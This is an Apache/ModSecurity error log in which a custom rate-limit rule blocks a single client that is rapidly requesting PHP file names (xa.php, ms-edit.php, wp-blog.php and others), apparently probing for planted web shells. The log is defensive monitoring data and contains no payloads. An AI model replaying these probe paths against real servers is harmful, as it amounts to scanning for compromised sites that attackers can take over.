[Fri Feb 27 07:23:50.087380 2026] [:error] [pid 42563:tid 42586] [client 4.204.200.32:59168] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDWBnKL5BclZy73IRHtdQAAAdA"]
[Fri Feb 27 07:23:50.680347 2026] [:error] [pid 21329:tid 21386] [client 4.204.200.32:16335] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDWBpvQWnde-MjcQ1Fz5wAAAUM"]
[Fri Feb 27 07:23:51.151000 2026] [:error] [pid 42435:tid 42458] [client 4.204.200.32:59173] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "aaDWBx5hHLnaukp_y9-mQAAAAZI"]
[Fri Feb 27 07:23:51.608408 2026] [:error] [pid 42435:tid 42461] [client 4.204.200.32:16339] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "aaDWBx5hHLnaukp_y9-mQQAAAZU"]
[Fri Feb 27 07:23:52.042938 2026] [:error] [pid 42563:tid 42583] [client 4.204.200.32:59207] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "aaDWCHKL5BclZy73IRHtewAAAc0"]
[Fri Feb 27 07:23:52.723120 2026] [:error] [pid 3973:tid 3986] [client 4.204.200.32:59255] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xda.php"] [unique_id "aaDWCIJZsftwqmUaaLMDPwAAAAM"]
[Fri Feb 27 07:23:53.555079 2026] [:error] [pid 42658:tid 42671] [client 4.204.200.32:59233] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDWCYzcoYl3nRbu1jahuQAAAgs"]
[Fri Feb 27 07:23:54.749218 2026] [:error] [pid 5365:tid 5377] [client 4.204.200.32:59172] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDWCpYAa8J3tYxdG3yE7wAAAQo"]
[Fri Feb 27 07:23:56.268635 2026] [:error] [pid 3974:tid 4050] [client 4.204.200.32:59174] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDWDHp-fQtdOYjkuFvqsAAAAE0"]
[Fri Feb 27 07:23:56.802494 2026] [:error] [pid 42563:tid 42590] [client 4.204.200.32:59158] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDWDHKL5BclZy73IRHthQAAAdQ"]
[Fri Feb 27 07:23:57.241203 2026] [:error] [pid 42658:tid 42666] [client 4.204.200.32:59235] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDWDYzcoYl3nRbu1jah0QAAAgY"]
[Fri Feb 27 07:23:57.689418 2026] [:error] [pid 5365:tid 5391] [client 4.204.200.32:16360] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDWDZYAa8J3tYxdG3yE9AAAARg"]
[Fri Feb 27 07:23:58.203978 2026] [:error] [pid 5365:tid 5388] [client 4.204.200.32:16321] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDWDpYAa8J3tYxdG3yE-QAAARU"]
[Fri Feb 27 07:23:58.847156 2026] [:error] [pid 5365:tid 5378] [client 4.204.200.32:59176] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDWDpYAa8J3tYxdG3yE-wAAAQs"]
[Fri Feb 27 07:23:59.324601 2026] [:error] [pid 42435:tid 42459] [client 4.204.200.32:16376] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDWDx5hHLnaukp_y9-mRwAAAZM"]
[Fri Feb 27 07:23:59.801935 2026] [:error] [pid 42435:tid 42464] [client 4.204.200.32:59225] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDWDx5hHLnaukp_y9-mSAAAAZg"]
[Fri Feb 27 07:24:00.413760 2026] [:error] [pid 42435:tid 42456] [client 4.204.200.32:59163] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDWEB5hHLnaukp_y9-mSQAAAZA"]
[Fri Feb 27 07:24:01.013455 2026] [:error] [pid 21329:tid 21383] [client 4.204.200.32:16346] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDWEZvQWnde-MjcQ1Fz6gAAAUA"]
[Fri Feb 27 07:24:01.616215 2026] [:error] [pid 42563:tid 42593] [client 4.204.200.32:59182] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDWEXKL5BclZy73IRHtiAAAAdc"]
[Fri Feb 27 07:24:02.124991 2026] [:error] [pid 21329:tid 21389] [client 4.204.200.32:59203] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDWEpvQWnde-MjcQ1Fz7AAAAUY"]
[Fri Feb 27 07:24:02.687687 2026] [:error] [pid 3975:tid 4015] [client 4.204.200.32:59181] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDWEhMVp0-T2hD76b3JGQAAAIU"]
[Fri Feb 27 07:24:03.462048 2026] [:error] [pid 42563:tid 42585] [client 4.204.200.32:59252] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDWE3KL5BclZy73IRHtigAAAc8"]
[Fri Feb 27 07:24:04.387859 2026] [:error] [pid 42658:tid 42676] [client 4.204.200.32:59217] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDWFIzcoYl3nRbu1jah4gAAAhA"]
[Fri Feb 27 07:24:05.846950 2026] [:error] [pid 3973:tid 3989] [client 4.204.200.32:16355] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDWFYJZsftwqmUaaLMDQwAAAAY"]
[Fri Feb 27 07:24:06.406578 2026] [:error] [pid 3974:tid 4054] [client 4.204.200.32:16331] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDWFnp-fQtdOYjkuFvqswAAAFE"]
[Fri Feb 27 07:24:06.934698 2026] [:error] [pid 3975:tid 4018] [client 4.204.200.32:59164] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDWFhMVp0-T2hD76b3JHgAAAIg"]
[Fri Feb 27 07:24:07.446958 2026] [:error] [pid 42435:tid 42461] [client 4.204.200.32:16354] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDWFx5hHLnaukp_y9-mUQAAAZU"]
[Fri Feb 27 07:24:08.130189 2026] [:error] [pid 42563:tid 42584] [client 4.204.200.32:59171] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDWGHKL5BclZy73IRHtjgAAAc4"]
[Fri Feb 27 07:24:08.773191 2026] [:error] [pid 42563:tid 42569] [client 4.204.200.32:59156] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDWGHKL5BclZy73IRHtkAAAAcE"]
[Fri Feb 27 07:24:09.336385 2026] [:error] [pid 42563:tid 42587] [client 4.204.200.32:59191] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDWGXKL5BclZy73IRHtlAAAAdE"]
[Fri Feb 27 07:24:09.933431 2026] [:error] [pid 42563:tid 42590] [client 4.204.200.32:59140] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDWGXKL5BclZy73IRHtlQAAAdQ"]
[Fri Feb 27 07:24:10.486134 2026] [:error] [pid 5365:tid 5389] [client 4.204.200.32:59187] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDWGpYAa8J3tYxdG3yFAwAAARY"]
[Fri Feb 27 07:24:11.022563 2026] [:error] [pid 5365:tid 5375] [client 4.204.200.32:59144] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDWG5YAa8J3tYxdG3yFBQAAAQg"]
[Fri Feb 27 07:24:11.894372 2026] [:error] [pid 3975:tid 4025] [client 4.204.200.32:59250] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDWGxMVp0-T2hD76b3JIQAAAI8"]
[Fri Feb 27 07:24:12.377240 2026] [:error] [pid 42563:tid 42592] [client 4.204.200.32:59151] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDWHHKL5BclZy73IRHtmAAAAdY"]
[Fri Feb 27 07:24:13.006630 2026] [:error] [pid 42435:tid 42463] [client 4.204.200.32:59189] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDWHR5hHLnaukp_y9-mVgAAAZc"]
[Fri Feb 27 07:24:13.568412 2026] [:error] [pid 3973:tid 3987] [client 4.204.200.32:59216] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDWHYJZsftwqmUaaLMDRQAAAAQ"]
[Fri Feb 27 07:24:14.265935 2026] [:error] [pid 5365:tid 5379] [client 4.204.200.32:16275] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDWHpYAa8J3tYxdG3yFDgAAAQw"]
[Fri Feb 27 07:24:15.050033 2026] [proxy_fcgi:error] [pid 42563:tid 42584] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:15.260115 2026] [proxy_fcgi:error] [pid 42563:tid 42594] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:15.468126 2026] [proxy_fcgi:error] [pid 42563:tid 42569] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:15.695703 2026] [proxy_fcgi:error] [pid 42563:tid 42575] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:15.918921 2026] [proxy_fcgi:error] [pid 42563:tid 42590] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:16.128317 2026] [proxy_fcgi:error] [pid 42563:tid 42586] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:16.355577 2026] [proxy_fcgi:error] [pid 42563:tid 42588] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:16.660756 2026] [proxy_fcgi:error] [pid 42563:tid 42580] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:16.877381 2026] [proxy_fcgi:error] [pid 42563:tid 42591] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:17.086118 2026] [proxy_fcgi:error] [pid 42563:tid 42582] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:17.314120 2026] [proxy_fcgi:error] [pid 42563:tid 42592] [client 4.204.200.32:59178] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 07:24:17.519600 2026] [:error] [pid 42563:tid 42568] [client 4.204.200.32:59178] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDWIXKL5BclZy73IRHtrgAAAcA"]
[Fri Feb 27 07:24:18.353373 2026] [:error] [pid 21329:tid 21387] [client 4.204.200.32:16256] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDWIpvQWnde-MjcQ1Fz9QAAAUQ"]
[Fri Feb 27 07:24:18.929253 2026] [:error] [pid 3975:tid 4037] [client 4.204.200.32:59184] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDWIhMVp0-T2hD76b3JIwAAAJg"]
[Fri Feb 27 07:24:19.440421 2026] [:error] [pid 21329:tid 21393] [client 4.204.200.32:16358] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaDWI5vQWnde-MjcQ1Fz9wAAAUo"]
[Fri Feb 27 07:24:20.136246 2026] [:error] [pid 4081:tid 4083] [client 4.204.200.32:16314] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ya.php"] [unique_id "aaDWJA55mnr35z8h7t30BwAAAMA"]
[Fri Feb 27 07:24:21.493927 2026] [:error] [pid 3974:tid 4033] [client 4.204.200.32:16287] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ya.php"] [unique_id "aaDWJXp-fQtdOYjkuFvqtwAAAEA"]
[Fri Feb 27 07:24:23.392201 2026] [:error] [pid 42658:tid 42662] [client 4.204.200.32:59136] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ya.php"] [unique_id "aaDWJ4zcoYl3nRbu1jah-QAAAgI"]
[Fri Feb 27 07:24:24.190590 2026] [:error] [pid 42658:tid 42672] [client 4.204.200.32:16353] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ya.php"] [unique_id "aaDWKIzcoYl3nRbu1jah_gAAAgw"]
[Fri Feb 27 07:24:24.716506 2026] [:error] [pid 42658:tid 42673] [client 4.204.200.32:16303] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDWKIzcoYl3nRbu1jaiAgAAAg0"]
[Fri Feb 27 07:24:25.208310 2026] [:error] [pid 4081:tid 4084] [client 4.204.200.32:59183] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDWKQ55mnr35z8h7t30CwAAAME"]
[Fri Feb 27 07:24:25.866673 2026] [:error] [pid 21329:tid 21389] [client 4.204.200.32:59137] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDWKZvQWnde-MjcQ1Fz-wAAAUY"]
[Fri Feb 27 07:24:26.428113 2026] [:error] [pid 21329:tid 21390] [client 4.204.200.32:59170] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaDWKpvQWnde-MjcQ1Fz_wAAAUc"]
[Fri Feb 27 07:24:27.042116 2026] [:error] [pid 42658:tid 42661] [client 4.204.200.32:59230] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDWK4zcoYl3nRbu1jaiCgAAAgE"]
[Fri Feb 27 07:24:27.740029 2026] [:error] [pid 42658:tid 42663] [client 4.204.200.32:59228] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDWK4zcoYl3nRbu1jaiDQAAAgM"]
[Fri Feb 27 07:24:28.736905 2026] [:error] [pid 42658:tid 42669] [client 4.204.200.32:16329] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaDWLIzcoYl3nRbu1jaiEgAAAgk"]
